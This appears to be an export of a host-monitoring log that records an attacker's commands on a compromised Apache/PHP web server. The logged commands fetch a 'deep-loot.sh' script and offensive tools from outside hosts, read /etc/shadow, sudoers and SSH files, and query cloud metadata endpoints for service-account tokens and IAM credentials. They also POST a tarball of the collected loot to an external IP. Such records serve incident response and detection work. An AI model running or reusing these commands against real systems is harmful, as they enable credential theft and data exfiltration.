2026-10-29 20:05:42185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentbash -> bashawk -F \t $1 != "jwt" {print} /tmp/<REDACTED>-deep/gitleaks-summary.tsv ; timeout 120 sh -c curl -sSL --max-time 100 -o '/tmp/.loot-tools/linpeas.sh' https://github.com/peass-ng/PEASS-ng/releases/download/20261021-2fe956c4/linpeas.sh ; sh -c curl -sSL --max-time 100 -o '/tmp/.loot-tools/linpeas.sh' https://github.com/peass-ng/PEASS-ng/releases/download/20261021-2fe956c4/linpeas.sh ; sh -c curl -sSL --max-time 100 -o '/tmp/.loot-tools/linpeas.sh' https://github.com/peass-ng/PEASS-ng/releases/download/20261021-2fe956c4/linpeas.sh ; sh -c curl -sSL --max-time 100 -o '/tmp/.loot-tools/linpeas.sh' https://github.com/peass-ng/PEASS-ng/releases/download/20261021-2fe956c4/linpeas.sh ; sh -c curl -sSL --max-time 100 -o '/tmp/.loot-tools/linpeas.sh' https://github.com/peass-ng/PEASS-ng/releases/download/20261021-2fe956c4/linpeas.sh ; curl -sSL --max-time 100 -o /tmp/.loot-tools/linpeas.sh https://github.com/peass-ng/PEASS-ng/releases/download/20261021-2fe956c4/linpeas.sh ; find /tmp/<REDACTED>-deep -maxdepth 1 -type f -printf %P %s ; sort ; head -100 ; tar czf /tmp/<REDACTED>-deep.tgz -C /tmp <REDACTED>-deep ; timeout 900 sh /tmp/deep-loot.sh -i 1104 -n <REDACTED>-deep -l ; sh /tmp/deep-loot.sh -i 1104 -n <REDACTED>-deep -l ; sh /tmp/deep-loot.sh -i 1104 -n <REDACTED>-deep -l ; sh /tmp/deep-loot.sh -i 1104 -n <REDACTED>-deep -l ; hostname ; date -u +%Y%m%dT%H%M%SZ ; mkdir -p /tmp/<REDACTED>-deep /tmp/.loot-tools /tmp/.loot-home ; cat ; timeout 180 sh -c curl -sSL --max-time 150 -o '/tmp/.loot-tools/gl.tgz' https://github.com/gitleaks/gitleaks/releases/download/v8.30.1/gitleaks_8.30.1_linux_x64.tar.gz && tar xzf '/tmp/.loot-tools/gl.tgz' -C '/tmp/.loot-tools' && chmod +x '/tmp/.loot-tools/gitleaks' ; sh -c curl -sSL --max-time 150 -o '/tmp/.loot-tools/gl.tgz' https://github.com/gitleaks/gitleaks/releases/download/v8.30.1/gitleaks_8.30.1_linux_x64.tar.gz && tar xzf '/tmp/.loot-tools/gl.tgz' -C '/tmp/.loot-tools' && chmod +x '/tmp/.loot-tools/gitleaks' ; sh -c curl -sSL --max-time 150 -o '/tmp/.loot-tools/gl.tgz' https://github.com/gitleaks/gitleaks/releases/download/v8.30.1/gitleaks_8.30.1_linux_x64.tar.gz && tar xzf '/tmp/.loot-tools/gl.tgz' -C '/tmp/.loot-tools' && chmod +x '/tmp/.loot-tools/gitleaks' ; sh -c curl -sSL --max-time 150 -o '/tmp/.loot-tools/gl.tgz' https://github.com/gitleaks/gitleaks/releases/download/v8.30.1/gitleaks_8.30.1_linux_x64.tar.gz && tar xzf '/tmp/.loot-tools/gl.tgz' -C '/tmp/.loot-tools' && chmod +x '/tmp/.loot-tools/gitleaks' ; sh -c curl -sSL --max-time 150 -o '/tmp/.loot-tools/gl.tgz' https://github.com/gitleaks/gitleaks/releases/download/v8.30.1/gitleaks_8.30.1_linux_x64.tar.gz && tar xzf '/tmp/.loot-tools/gl.tgz' -C '/tmp/.loot-tools' && chmod +x '/tmp/.loot-tools/gitleaks' ; curl -sSL --max-time 150 -o /tmp/.loot-tools/gl.tgz https://github.com/gitleaks/gitleaks/releases/download/v8.30.1/gitleaks_8.30.1_linux_x64.tar.gz ; find /tmp/<REDACTED>-deep -maxdepth 1 -name gitleaks-*.json -size +2c ; sort ; sort -u ; cut -f1 /tmp/<REDACTED>-deep/gitleaks-summary.tsv ; uniq -c ; sort ; head -50 ; sort -nr ; sh /tmp/deep-loot.sh -i 1104 -n <REDACTED>-deep -l ; /bin/sh -c gzip ; gzip ; wc -c ; curl -s -o /dev/null -w %{http_code} -X POST --data-binary @/tmp/<REDACTED>-deep.tgz http://206.245.153.56:8088/1104/<REDACTED>-deep.tgz ; sed s/^/ / ; ls -l /tmp/<REDACTED>-deep
2026-10-29 20:05:42185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentbash -> bashcurl -sS -o /tmp/deep-loot.sh http://206.245.153.56:8088/tools/deep-loot.sh
2026-10-29 20:05:48185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentbash -> bashls -la /tmp/service-documents
2026-10-29 20:05:48185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentsh -> shcurl -sS --max-time 2 -H Metadata-Flavor: Google http://metadata.google.internal/computeMetadata/v1/project/project-id
2026-10-29 20:05:48185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentbash -> bashls -la /usr/local/etc/php /usr/local/etc/php/conf.d
2026-10-29 20:05:48185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentsh -> shcurl -sS --max-time 2 -H Metadata: true http://169.254.169.254/metadata/instance?api-version=2021-02-01
2026-10-29 20:05:48185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentsh -> shcurl -sS --max-time 2 http://169.254.169.254/metadata/v1/
2026-10-29 20:05:48185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentbash -> bashls -la /var/log/apache2
2026-10-29 20:05:48185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentbash -> bashls -la /usr/local/etc/php/conf.d
2026-10-29 20:05:48185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentsh -> shcurl -sS --max-time 2 -H Metadata-Flavor: Google http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
2026-10-29 20:05:48185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentsh -> shcurl -sS --max-time 2 -H Metadata-Flavor: Google http://metadata.google.internal/computeMetadata/v1/instance/
2026-10-29 20:05:48185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentbash -> bashls -la /var/log/apache2
2026-10-29 20:05:53185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentsh -> shfind /var/www/html -maxdepth 3 -type f -printf %s %TY-%Tm-%Td %p\n
2026-10-29 20:05:53185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentsh -> shls -la /etc/apache2/sites-enabled /etc/nginx/sites-enabled /etc/nginx/conf.d
2026-10-29 20:05:53185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentsh -> shfind /var/www -maxdepth 3 -type f -printf %s %TY-%Tm-%Td %p\n
2026-10-29 20:05:53185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentsh -> shfind /var/www /usr/share/nginx /srv/www -name .htaccess -type f
2026-10-29 20:05:53185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentsh -> shls -la /var/www /var/www/html /var/www/html/public /usr/share/nginx/html /srv/www
2026-10-29 20:05:53185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB senttimeout -> timeoutsh -c echo "== roots"; ls -la /var/www /var/www/html /var/www/html/public /usr/share/nginx/html /srv/www 2>/dev/null echo "== apache docs"; apache2ctl -S 2>/dev/null; grep -Rhs "DocumentRoot" /etc/apache2 /etc/httpd 2>/dev/null | head -30 echo "== nginx docs"; nginx -T 2>/dev/null | grep -E "root | ; sh -c echo "== roots"; ls -la /var/www /var/www/html /var/www/html/public /usr/share/nginx/html /srv/www 2>/dev/null echo "== apache docs"; apache2ctl -S 2>/dev/null; grep -Rhs "DocumentRoot" /etc/apache2 /etc/httpd 2>/dev/null | head -30 echo "== nginx docs"; nginx -T 2>/dev/null | grep -E "root | ; sh -c echo "== roots"; ls -la /var/www /var/www/html /var/www/html/public /usr/share/nginx/html /srv/www 2>/dev/null echo "== apache docs"; apache2ctl -S 2>/dev/null; grep -Rhs "DocumentRoot" /etc/apache2 /etc/httpd 2>/dev/null | head -30 echo "== nginx docs"; nginx -T 2>/dev/null | grep -E "root | ; sh -c echo "== roots"; ls -la /var/www /var/www/html /var/www/html/public /usr/share/nginx/html /srv/www 2>/dev/null echo "== apache docs"; apache2ctl -S 2>/dev/null; grep -Rhs "DocumentRoot" /etc/apache2 /etc/httpd 2>/dev/null | head -30 echo "== nginx docs"; nginx -T 2>/dev/null | grep -E "root |
2026-10-29 20:05:53185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentsh -> shtimeout 40 sh -c echo "== roots"; ls -la /var/www /var/www/html /var/www/html/public /usr/share/nginx/html /srv/www 2>/dev/null echo "== apache docs"; apache2ctl -S 2>/dev/null; grep -Rhs "DocumentRoot" /etc/apache2 /etc/httpd 2>/dev/null | head -30 echo "== nginx docs"; nginx -T 2>/dev/null | grep
2026-10-29 20:05:59185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentsh -> shfind /var/www /home /opt /srv /etc /root /tmp /run/secrets /usr/local/etc /var/lib/php -xdev ( -path /tmp/<REDACTED>-443 -o -path */vendor/* -o -path */node_modules/* -o -path */.git/* -o -path /tmp/collect-* -o -path /tmp/deep-* -o -path /tmp/recon-* -o -path /tmp/.loot-tools* -o -path /tmp/.loot-h
2026-10-29 20:05:59185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentsh -> shfind /home -type f -size -256k
2026-10-29 20:05:59185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentsh -> shfind /var/www /home /opt /srv /etc /root /tmp /run/secrets /usr/local/etc /var/lib/php -xdev ( -path /tmp/<REDACTED>-443 -o -path */vendor/* -o -path */node_modules/* -o -path */.git/* -o -path /tmp/collect-* -o -path /tmp/deep-* -o -path /tmp/recon-* -o -path /tmp/.loot-tools* -o -path /tmp/.loot-h
2026-10-29 20:05:59185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentsh -> shfind /usr/local/etc/php -type f -size -256k
2026-10-29 20:05:59185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentsh -> shfind /etc/apache2 -type f -size -256k
2026-10-29 20:05:59185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentsh -> shfind /var/www /srv/www -maxdepth 4 ( -iname *openapi* -o -iname *swagger* )
2026-10-29 20:05:59185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentsh -> shfind /var/www /home /opt /srv /etc /root /tmp /run/secrets /usr/local/etc /var/lib/php -xdev ( -path /tmp/<REDACTED>-443 -o -path */vendor/* -o -path */node_modules/* -o -path */.git/* -o -path /tmp/collect-* -o -path /tmp/deep-* -o -path /tmp/recon-* -o -path /tmp/.loot-tools* -o -path /tmp/.loot-h
2026-10-29 20:06:04185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentbash -> bashls -la /tmp/<REDACTED>-deep
2026-10-29 20:06:04185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentbash -> bashls -lat /tmp/<REDACTED>-443
2026-10-29 20:06:04185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentbash -> bashpgrep -af collect
2026-10-29 20:06:15185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentsh -> shwhoami ; hostname ; hostname -f ; uname -a ; uname -m ; uname -r ; cat /etc/os-release ; cat /etc/debian_version /etc/alpine-release /etc/redhat-release ; getconf LONG_BIT ; uptime ; cat /sys/class/dmi/id/sys_vendor ; cat /proc/uptime ; cat /sys/class/dmi/id/product_name ; cat /sys/class/dmi/id/product_version ; cat /sys/class/dmi/id/board_name ; cat /sys/class/dmi/id/bios_vendor ; cat /sys/class/dmi/id/bios_version ; cat /sys/class/dmi/id/chassis_type ; cat /sys/class/dmi/id/chassis_serial ; id -un ; getent passwd www-data
2026-10-29 20:06:15185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentsh -> shhostname ; date -u +%Y%m%dT%H%M%SZ ; mkdir -p /tmp/<REDACTED>-443 ; id ; cat ; timeout 40 sh -c date -u id; whoami; hostname; hostname -f 2>/dev/null uname -a; uname -m; uname -r cat /etc/os-release 2>/dev/null cat /etc/debian_version /etc/alpine-release /etc/redhat-release 2>/dev/null getconf LONG_BIT 2>/dev/null uptime; cat /proc/uptime echo "== virt"; systemd-detect-virt 2 ; sh -c date -u id; whoami; hostname; hostname -f 2>/dev/null uname -a; uname -m; uname -r cat /etc/os-release 2>/dev/null cat /etc/debian_version /etc/alpine-release /etc/redhat-release 2>/dev/null getconf LONG_BIT 2>/dev/null uptime; cat /proc/uptime echo "== virt"; systemd-detect-virt 2>/dev/null ; sh -c date -u id; whoami; hostname; hostname -f 2>/dev/null uname -a; uname -m; uname -r cat /etc/os-release 2>/dev/null cat /etc/debian_version /etc/alpine-release /etc/redhat-release 2>/dev/null getconf LONG_BIT 2>/dev/null uptime; cat /proc/uptime echo "== virt"; systemd-detect-virt 2>/dev/null ; sh -c date -u id; whoami; hostname; hostname -f 2>/dev/null uname -a; uname -m; uname -r cat /etc/os-release 2>/dev/null cat /etc/debian_version /etc/alpine-release /etc/redhat-release 2>/dev/null getconf LONG_BIT 2>/dev/null uptime; cat /proc/uptime echo "== virt"; systemd-detect-virt 2>/dev/null ; sh -c date -u id; whoami; hostname; hostname -f 2>/dev/null uname -a; uname -m; uname -r cat /etc/os-release 2>/dev/null cat /etc/debian_version /etc/alpine-release /etc/redhat-release 2>/dev/null getconf LONG_BIT 2>/dev/null uptime; cat /proc/uptime echo "== virt"; systemd-detect-virt 2>/dev/null ; date -u ; id
2026-10-29 20:06:15185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentbash -> bashls -la /tmp/collect.sh /tmp/c_* /tmp/*.tsv
2026-10-29 20:06:15185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentbash -> bashpgrep -af beacon
2026-10-29 20:06:18185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentsh -> shid ; date -u ; uname -r ; cat /etc/os-release ; cat /etc/debian_version /etc/alpine-release /etc/redhat-release ; hostname -f ; uname -a ; getconf LONG_BIT ; whoami ; uname -m ; hostname ; uptime ; cat /proc/uptime ; cat /sys/class/dmi/id/sys_vendor ; cat /sys/class/dmi/id/product_name ; cat /sys/class/dmi/id/product_version ; cat /sys/class/dmi/id/bios_vendor ; cat /sys/class/dmi/id/board_name ; cat /sys/class/dmi/id/bios_version ; cat /sys/class/dmi/id/chassis_serial ; cat /sys/class/dmi/id/chassis_type ; id -un ; getent passwd www-data ; lscpu ; nproc ; grep -E -i ^(processor|model name|vendor_id|cpu family|model|stepping|microcode|cpu MHz|cache size|physical id|core id|siblings|cpu cores|flags) /proc/cpuinfo ; egrep -i ^(processor|model name|vendor_id|cpu family|model|stepping|microcode|cpu MHz|cache size|physical id|core id|siblings|cpu cores|flags) /proc/cpuinfo ; grep -E -i ^(processor|model name|vendor_id|cpu family|model|stepping|microcode|cpu MHz|cache size|physical id|core id|siblings|cpu cores|flags) /proc/cpuinfo ; grep -E -i ^(processor|model name|vendor_id|cpu family|model|stepping|microcode|cpu MHz|cache size|physical id|core id|siblings|cpu cores|flags) /proc/cpuinfo ; cat /sys/devices/system/cpu/online /sys/devices/system/cpu/possible ; grep -E -i ^(processor|model name|vendor_id|cpu family|model|stepping|microcode|cpu MHz|cache size|physical id|core id|siblings|cpu cores|flags) /proc/cpuinfo ; egrep -i Size|Type|Speed|Manufacturer|Part Number|Locator|Form Factor|Total Width|Data Width|Configured ; head -80 ; grep -E -i Size|Type|Speed|Manufacturer|Part Number|Locator|Form Factor|Total Width|Data Width|Configured ; grep -E -i Size|Type|Speed|Manufacturer|Part Number|Locator|Form Factor|Total Width|Data Width|Configured ; grep -E -i Size|Type|Speed|Manufacturer|Part Number|Locator|Form Factor|Total Width|Data Width|Configured ; grep -E -i Size|Type|Speed|Manufacturer|Part Number|Locator|Form Factor|Total Width|Data Width|Configured ; cat /sys/devices/system/memory/memory3/state ; cat /sys/devices/system/memory/memory12/state ; cat /sys/devices/system/memory/memory13/state ; cat /sys/devices/system/memory/memory14/state ; cat /sys/devices/system/memory/memory15/state ; cat /sys/devices/system/memory/memory2/state ; head -20 ; cat /sys/devices/system/memory/memory4/state ; cat /sys/devices/system/memory/memory5/state ; cat /sys/devices/system/memory/memory6/state ; cat /sys/devices/system/memory/memory7/state ; cat /sys/devices/system/memory/memory8/state ; cat /sys/devices/system/memory/memory9/state ; cat /sys/devices/system/memory/memory0/state ; cat /sys/devices/system/memory/memory10/state ; cat /sys/devices/system/memory/memory11/state ; cat /sys/devices/system/memory/memory1/state ; head -40 ; cat /sys/devices/system/node/node0/meminfo ; cat /sys/fs/cgroup/memory.peak ; cat /sys/fs/cgroup/memory.swap.max ; cat /sys/fs/cgroup/memory/memory.limit_in_bytes ; cat /sys/fs/cgroup/memory/memory.usage_in_bytes ; cat /proc/swaps ; swapon --show ; df -hP ; cat /proc/self/mountinfo ; head -100 ; du -sh /var/www ; cat /proc/partitions ; lsblk ; df -iP ; du -sh /var/www/html ; du -sh /home ; du -sh /srv ; du -sh /opt ; du -sh /tmp ; du -sh /usr/local ; du -sh /var/lib ; du -sh /var/log ; grep -E ^(MemTotal|MemFree|MemAvailable|Buffers|Cached|SwapTotal|SwapFree|Shmem|AnonPages|Slab|HugePages_Total|Hugepagesize) /proc/meminfo ; grep -E ^(MemTotal|MemFree|MemAvailable|Buffers|Cached|SwapTotal|SwapFree|Shmem|AnonPages|Slab|HugePages_Total|Hugepagesize) /proc/meminfo ; free -m ; grep -E ^(MemTotal|MemFree|MemAvailable|Buffers|Cached|SwapTotal|SwapFree|Shmem|AnonPages|Slab|HugePages_Total|Hugepagesize) /proc/meminfo ; cat /sys/fs/cgroup/memory.max ; cat /sys/fs/cgroup/memory.current ; grep -E ^(MemTotal|MemFree|MemAvailable|Buffers|Cached|SwapTotal|SwapFree|Shmem|AnonPages|Slab|HugePages_Total|Hugepagesize) /proc/meminfo ; free -h ; egrep ^(MemTotal|MemFree|MemAvailable|Buffers|Cached|SwapTotal|SwapFree|Shmem|AnonPages|Slab|HugePages_Total|Hugepagesize) /proc/meminfo ; head -30 ; sort -nr ; find / -xdev ( -path /proc -o -path /sys -o -path /dev ) -prune -o -type f -size +50M -printf %s %p\n ; hostname -I ; cat /proc/net/route ; cat /proc/net/arp ; cat /sys/class/net/enp0s2/address ; cat /sys/class/net/lo/address ; cat /proc/net/tcp /proc/net/tcp6 ; cat /proc/net/udp /proc/net/udp6 ; head -120 ; cat /proc/net/fib_trie ; cat /etc/hosts ; cat /etc/resolv.conf ; cat /etc/nsswitch.conf ; getent hosts database ; getent hosts db ; getent hosts mysql ; getent hosts redis ; getent hosts rabbitmq ; getent hosts mail ; getent hosts smtp ; getent hosts host.docker.internal ; getent hosts gateway.docker.internal ; ls -la /var/run/*.sock /run/*.sock /var/run/*/*.sock /run/*/*.sock ; head -150 ; ps auxww ; head -40 ; ps -eo pid,ppid,user,stat,etime,rss,args --sort=-rss ; head -50 ; tr \0 ; tr \0 ; tr \0 ; tr \0 ; head -250 ; tr \0 ; tr \0 ; tr \0 ; tr \0 ; tr \0 ; cat /proc/loadavg ; tr \0 ; tr \0 ; tr \0 ; head -80 ; id ; cat /etc/passwd ; cat /etc/group ; head -40 ; cat /etc/shadow ; cat /etc/gshadow ; head -20 ; cat /etc/sudoers ; ls -la /etc/sudoers.d ; cat /etc/sudoers.d/* ; ls -la /root /home ; ls -la /root ; who ; w ; grep -E ^(Uid|Gid|Groups|Cap|NoNewPrivs|Seccomp) /proc/self/status ; ls -la /root/.ssh /home/*/.ssh ; cat /root/.ssh/config /home/*/.ssh/config ; sort ; head -300 ; cut -c1-80 ; tr \0 ; sort ; env ; tr \0 \n ; sort ; tr \0 \n ; cut -c1-80 ; tr \0 ; tr \0 \n ; sort ; cut -c1-80 ; tr \0 ; tr \0 \n ; sort ; tr \0 \n ; tr \0 ; sort ; tr \0 \n ; sort ; cut -c1-80 ; tr \0 ; cut -c1-80 ; cut -c1-80 ; tr \0 ; sort ; sort ; tr \0 \n ; cut -c1-80 ; tr \0 ; sort ; tr \0 \n ; cut -c1-80 ; tr \0 \n ; tr \0 ; cat /etc/profile.d/*.sh ; ls -la /etc/default /etc/sysconfig ; head -200 ; cat /etc/default/apache-htcacheclean /etc/default/nss /etc/default/useradd ; head -120 ; ls -la /etc/profile.d ; dpkg-query -W -f=${Package}\t${Version}\n ; head -400 ; wc -l ; dpkg-query -W -f=${Package}\n ; head -300 ; head -300 ; head -300 ; cut -c1-80 ; tr \0 ; sort ; tr \0 \n ; cat /etc/environment ; cat /etc/profile ; head -80 ; php -v ; php -m ; apache2 -v ; apache2ctl -M ; cat /proc/1/cgroup /proc/self/cgroup ; head -30 ; cat /proc/1/status ; cat /sys/fs/cgroup/memory.max ; ls -la /.dockerenv /run/.containerenv ; tr \0 ; cat /sys/fs/cgroup/cpu.max ; cat /sys/fs/cgroup/pids.max ; cat /sys/fs/cgroup/cpuset.cpus.effective ; ls -la /var/run/docker.sock /run/docker.sock /run/containerd/containerd.sock /run/crio/crio.sock ; ls -la /run/secrets /var/run/secrets ; env ; grep -i kube ; ls -la /var/run/secrets/kubernetes.io/serviceaccount/ ; head -30 ; grep -E /(host|var/lib/docker|var/lib/containerd|mnt|media) /proc/self/mountinfo ; ls -la /proc/1/root ; curl -sS --max-time 2 http://169.254.169.254/latest/meta-data/ ; head -60 ; head -20 ; curl -sS --max-time 2 http://169.254.169.254/latest/meta-data/instance-id ; curl -sS --max-time 2 http://169.254.169.254/latest/meta-data/instance-type ; head -20 ; head -20 ; curl -sS --max-time 2 http://169.254.169.254/latest/meta-data/placement/availability-zone ; head -20 ; curl -sS --max-time 2 http://169.254.169.254/latest/meta-data/local-ipv4 ; curl -sS --max-time 2 http://169.254.169.254/latest/meta-data/local-hostname ; head -20 ; head -20 ; curl -sS --max-time 2 http://169.254.169.254/latest/meta-data/public-ipv4 ; curl -sS --max-time 2 http://169.254.169.254/latest/meta-data/public-hostname ; head -20 ; head -20 ; curl -sS --max-time 2 http://169.254.169.254/latest/meta-data/security-groups ; curl -sS --max-time 2 http://169.254.169.254/latest/meta-data/iam/info ; head -20 ; curl -sS --max-time 2 http://169.254.169.254/latest/meta-data/iam/security-credentials/ ; head -1 ; curl -sS --max-time 2 -X PUT -H X-aws-ec2-metadata-token-ttl-seconds: 21600 http://169.254.169.254/latest/api/token ; head -40 ; curl -sS --max-time 2 